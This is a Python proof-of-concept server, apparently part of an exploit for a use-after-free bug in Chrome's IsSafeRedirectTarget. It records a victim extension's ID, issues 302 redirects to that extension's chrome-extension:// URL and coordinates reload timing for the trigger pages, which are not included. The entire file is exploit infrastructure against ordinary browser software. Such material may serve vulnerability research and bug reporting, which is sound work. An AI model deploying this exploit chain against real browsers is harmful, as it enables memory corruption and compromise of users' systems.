#!/usr/bin/env python3
# POC server for IsSafeRedirectTarget UAF.
#
# Endpoints:
#   /                -> index.html
#   /worker.js       -> worker.js
#   /register?id=X   -> victim extension registers its ID here
#   /ext_id          -> returns {"id": <ext_id or null>}
#   /redirect        -> 302 to chrome-extension://<ext_id>/foo
#   /trigger_reload  -> sets the reload flag (consumed once)
#   /should_reload   -> returns {"reload": true/false} (consumes the flag)

import http.server
import json
import os
import socketserver
import threading
import urllib.parse

PORT = 23456
ROOT = os.path.dirname(os.path.abspath(__file__))

state_lock = threading.Lock()
state = {
    "ext_id": None,
    "pending_reload": False,
}


class Handler(http.server.BaseHTTPRequestHandler):
    def _send(self, code, ctype, body, extra=None):
        self.send_response(code)
        self.send_header("Content-Type", ctype)
        self.send_header("Cache-Control", "no-store")
        self.send_header("Access-Control-Allow-Origin", "*")
        if extra:
            for k, v in extra.items():
                self.send_header(k, v)
        self.end_headers()
        if body is not None:
            self.wfile.write(body)

    def _file(self, name, ctype):
        with open(os.path.join(ROOT, name), "rb") as f:
            self._send(200, ctype, f.read())

    def do_POST(self):
        p = urllib.parse.urlparse(self.path)
        if p.path == "/trigger_reload":
            with state_lock:
                state["pending_reload"] = True
            self._send(200, "application/json", b'{"ok":true}')
            return
        self._send(404, "text/plain", b"not found")

    def do_GET(self):
        p = urllib.parse.urlparse(self.path)
        q = urllib.parse.parse_qs(p.query)

        if p.path == "/":
            return self._file("index.html", "text/html")
        if p.path == "/worker.js":
            return self._file("worker.js", "text/javascript")

        if p.path == "/register":
            ext_id = q.get("id", [None])[0]
            with state_lock:
                state["ext_id"] = ext_id
            print(f"[server] registered ext_id={ext_id}")
            self._send(200, "application/json", b'{"ok":true}')
            return

        if p.path == "/ext_id":
            with state_lock:
                eid = state["ext_id"]
            self._send(200, "application/json",
                       json.dumps({"id": eid}).encode())
            return

        if p.path == "/should_reload":
            with state_lock:
                r = state["pending_reload"]
                state["pending_reload"] = False
            self._send(200, "application/json",
                       json.dumps({"reload": r}).encode())
            return

        if p.path == "/redirect":
            with state_lock:
                eid = state["ext_id"]
            if not eid:
                self._send(503, "text/plain", b"ext not registered")
                return
            target = f"chrome-extension://{eid}/foo"
            self.send_response(302)
            self.send_header("Location", target)
            self.send_header("Cache-Control", "no-store")
            self.send_header("Access-Control-Allow-Origin", "*")
            self.end_headers()
            return

        self._send(404, "text/plain", b"not found")

    def log_message(self, fmt, *args):
        pass  # quiet


class ThreadingHTTPServer(socketserver.ThreadingMixIn, http.server.HTTPServer):
    daemon_threads = True
    allow_reuse_address = True


if __name__ == "__main__":
    with ThreadingHTTPServer(("127.0.0.1", PORT), Handler) as httpd:
        print(f"[server] listening on http://127.0.0.1:{PORT}/")
        httpd.serve_forever()